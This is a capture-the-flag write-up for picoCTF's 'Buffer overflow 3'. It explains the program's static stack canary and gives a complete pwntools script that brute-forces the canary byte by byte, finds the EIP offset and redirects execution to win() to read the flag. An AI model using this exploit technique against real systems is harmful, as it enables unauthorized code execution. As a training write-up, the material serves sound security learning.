Buffer overflow 3

Solver: j jktrn
Authors: Sanjay C., Palash Oswal
Category: Binary Exploitation (pwn)
Points: 300
Files: vuln vuln.c
Remote: $ nc saturn.picoctf.net [PORT]
Flag: picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}

Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. Connect with it using: $ nc saturn.picoctf.net [PORT]

Warning

Warning: This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.

$ checksec vuln
[*] '/home/kali/ctfs/pico22/buffer-overflow-3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

I: Finding the Canary

So, Dr. Oswal apparently implemented a stack canary, which is just a dynamic value appended to binaries during compilation. It helps detect and mitigate stack smashing attacks, and programs can terminate if they detect the canary being overwritten. Yet, checksec didn’t find a canary. That’s a bit suspicious… but let’s check out our source code first:

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5
#include <sys/types.h>
6
#include <wchar.h>
7
#include <locale.h>
8

9
#define BUFSIZE 64
10
#define FLAGSIZE 64
11
#define CANARY_SIZE 4
12

13
void win() {
14
  char buf[FLAGSIZE];
15
  FILE *f = fopen("flag.txt","r");
16
  if (f == NULL) {
17
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
18
                    "own debugging flag.\n");
19
    fflush(stdout);
20
    exit(0);
21
  }
22

23
  fgets(buf,FLAGSIZE,f); // size bound read
24
  puts(buf);
25
  fflush(stdout);
26
}
27

28
char global_canary[CANARY_SIZE];
29
void read_canary() {
30
  FILE *f = fopen("canary.txt","r");
31
  if (f == NULL) {
32
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
33
                    "own debugging canary.\n");
34
    fflush(stdout);
35
    exit(0);
36
  }
37

38
  fread(global_canary,sizeof(char),CANARY_SIZE,f);
39
  fclose(f);
40
}
41

42
void vuln(){
43
   char canary[CANARY_SIZE];
44
   char buf[BUFSIZE];
45
   char length[BUFSIZE];
46
   int count;
47
   int x = 0;
48
   memcpy(canary,global_canary,CANARY_SIZE);
49
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
50
   while (x<BUFSIZE) {
51
      read(0,length+x,1);
52
      if (length[x]=='\n') break;
53
      x++;
54
   }
55
   sscanf(length,"%d",&count);
56

57
   printf("Input> ");
58
   read(0,buf,count);
59

60
   if (memcmp(canary,global_canary,CANARY_SIZE)) {
61
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
62
      fflush(stdout);
63
      exit(-1);
64
   }
65
   printf("Ok... Now Where's the Flag?\n");
66
   fflush(stdout);
67
}
68

69
int main(int argc, char **argv){
70

71
  setvbuf(stdout, NULL, _IONBF, 0);
72

73
  // Set the gid to the effective gid
74
  // this prevents /bin/sh from dropping the privileges
75
  gid_t gid = getegid();
76
  setresgid(gid, gid, gid);
77
  read_canary();
78
  vuln();
79
  return 0;
80
}

If you look closely, you might be able to see why checksec didn’t find a stack canary. That’s because it’s actually a static variable, being read from a canary.txt on the host machine. Canaries that aren’t implemented by the compiler are not really canaries!

Knowing that the canary will be four bytes long (defined by CANARY_SIZE) and immediately after the 64-byte buffer (defined by BUFSIZE), we can write a brute forcing script that can determine the correct canary with a simple trick: by not fully overwriting the canary the entire time! Check out this segment of source code:

60
   if (memcmp(canary,global_canary,CANARY_SIZE)) {
61
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
62
      fflush(stdout);
63
      exit(-1);
64
   }

This uses memcmp() to determine if the current canary is the same as the global canary. If it’s different, then the program will run exit(-1), which is a really weird/invalid exit code and represents “abnormal termination”:

memcmp1

However, if we theoretically overwrite the canary with a single correct byte, memcmp() won’t detect anything!:

memcmp2

II: Bypassing the Canary

We can now start writing our script! My plan is to loop through all printable characters for each canary byte, which can be imported from string. Let’s include that in our pwn boilerplate alongside a simple function that allows us to swap between a local and remote instance:

1
#!/usr/bin/env python3
2
from pwn import *
3
from string import printable
4

5
elf = context.binary = ELF("./vuln", checksec=False)
6
host, port = "saturn.picoctf.net", [PORT]
7
offset = 64
8

9
def new_process():
10
    if args.LOCAL:
11
        return process(elf.path)
12
    else:
13
        return remote(host, port)

Here’s the big part: the get_canary() function. I’ll be using pwnlib.log for some spicy status messages. My general process for the brute force is visualized here if you’re having trouble:

Brute Force Visual

I’ll be initially sending 64 + 1 bytes, and slowly appending the correct canary to the end of my payload until the loop has completed four times:


14 collapsed lines
1
#!/usr/bin/env python3
2
from pwn import *
3
from string import printable
4

5
elf = context.binary = ELF("./vuln", checksec=False)
6
host, port = "saturn.picoctf.net", [PORT]
7
offset = 64
8

9
def new_process():
10
    if args.LOCAL:
11
        return process(elf.path)
12
    else:
13
        return remote(host, port)
14

15
def get_canary():
16
    canary = b""
17
    logger = log.progress("Finding canary...")
18
    for i in range(1, 5):
19
        for char in printable:
20
            with context.quiet:
21
                p = new_process()
22
                p.sendlineafter(b"> ", str(offset + i).encode())
23
                p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()]))
24
                output = p.recvall()
25
                if b"?" in output:
26
                    canary += char.encode()
27
                    logger.status(f'"{canary.decode()}"')
28
                    break
29
    logger.success(f'"{canary.decode()}"')
30
    return canary

The final thing we need to figure out is the offset between the canary to $eip, the pointer register, which we will repopulate with the address of win(). We can do this by appending a cyclic pattern to the end of our current payload (64 + 4 canary bytes) and reading the Corefile’s crash location, which will be the $eip:

Note

My canary is abcd because I put that in my canary.txt. It will be different on the remote server!

$ python3 -q
>>> from pwn import *
>>> p = process('./vuln')
[x] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-3/vuln'
[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-3/vuln': pid 1493
>>> payload = cyclic(64) + b'abcd' + cyclic(128)
>>> p.sendline(b'196')
>>> p.sendline(payload)
>>> p.wait()
[*] Process '/home/kali/ctfs/pico22/buffer-overflow-3/vuln' stopped with exit code -11 (SIGSEGV) (pid 1493)
>>> core = Corefile('./core')
[x] Parsing corefile...
[*] '/home/kali/ctfs/pico22/buffer-overflow-3/core'
    Arch:      i386-32-little
    EIP:       0x61616165
    ESP:       0xffa06160
    Exe:       '/home/kali/ctfs/pico22/buffer-overflow-3/vuln' (0x8048000)
    Fault:     0x61616165
[+] Parsing corefile...: Done
>>> cyclic_find(0x61616165)
16

The offset is 16, so we’ll have to append that amount of bytes to the payload followed by the address of win(). I’ll combine all sections of our payload together with flat(), and then hopefully read the flag from the output:


31 collapsed lines
1
#!/usr/bin/env python3
2
from pwn import *
3
from string import printable
4

5
elf = context.binary = ELF("./vuln", checksec=False)
6
host, port = "saturn.picoctf.net", [PORT]
7
offset = 64
8

9
def new_process():
10
    if args.LOCAL:
11
        return process(elf.path)
12
    else:
13
        return remote(host, port)
14

15
def get_canary():
16
    canary = b""
17
    logger = log.progress("Finding canary...")
18
    for i in range(1, 5):
19
        for char in printable:
20
            with context.quiet:
21
                p = new_process()
22
                p.sendlineafter(b"> ", str(offset + i).encode())
23
                p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()]))
24
                output = p.recvall()
25
                if b"?" in output:
26
                    canary += char.encode()
27
                    logger.status(f'"{canary.decode()}"')
28
                    break
29
    logger.success(f'"{canary.decode()}"')
30
    return canary
31

32
canary = get_canary()
33
p = new_process()
34
payload = flat([{offset: canary}, {16: elf.symbols.win}])
35
p.sendlineafter(b"> ", str(len(payload)).encode())
36
p.sendlineafter(b"> ", payload)
37
log.success(p.recvall().decode("ISO-8859-1"))

Here is my final script with all of its components put together:

1
#!/usr/bin/env python3
2
from pwn import *
3
from string import printable
4

5
elf = context.binary = ELF("./vuln", checksec=False)
6
host, port = "saturn.picoctf.net", [PORT]
7
offset = 64
8

9
def new_process():
10
    if args.LOCAL:
11
        return process(elf.path)
12
    else:
13
        return remote(host, port)
14

15
def get_canary():
16
    canary = b""
17
    logger = log.progress("Finding canary...")
18
    for i in range(1, 5):
19
        for char in printable:
20
            with context.quiet:
21
                p = new_process()
22
                p.sendlineafter(b"> ", str(offset + i).encode())
23
                p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()]))
24
                output = p.recvall()
25
                if b"?" in output:
26
                    canary += char.encode()
27
                    logger.status(f'"{canary.decode()}"')
28
                    break
29
    logger.success(f'"{canary.decode()}"')
30
    return canary
31

32
canary = get_canary()
33
p = new_process()
34
payload = flat([{offset: canary}, {16: elf.symbols.win}])
35
p.sendlineafter(b"> ", str(len(payload)).encode())
36
p.sendlineafter(b"> ", payload)
37
log.success(p.recvall().decode("ISO-8859-1"))

Running the script:

$ python3 buffer-overflow-3.py
[+] Finding canary: 'BiRd'
[+] Opening connection to saturn.picoctf.net on port 57427: Done
[+] Receiving all data: Done (162B)
[*] Closed connection to saturn.picoctf.net port 57427
[+] aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaBiRdraaasaaataa-
auaaa6^H
    Ok... Now Where's the Flag?
    picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}

We’ve successfully performed a brute force on a vulnerable static canary!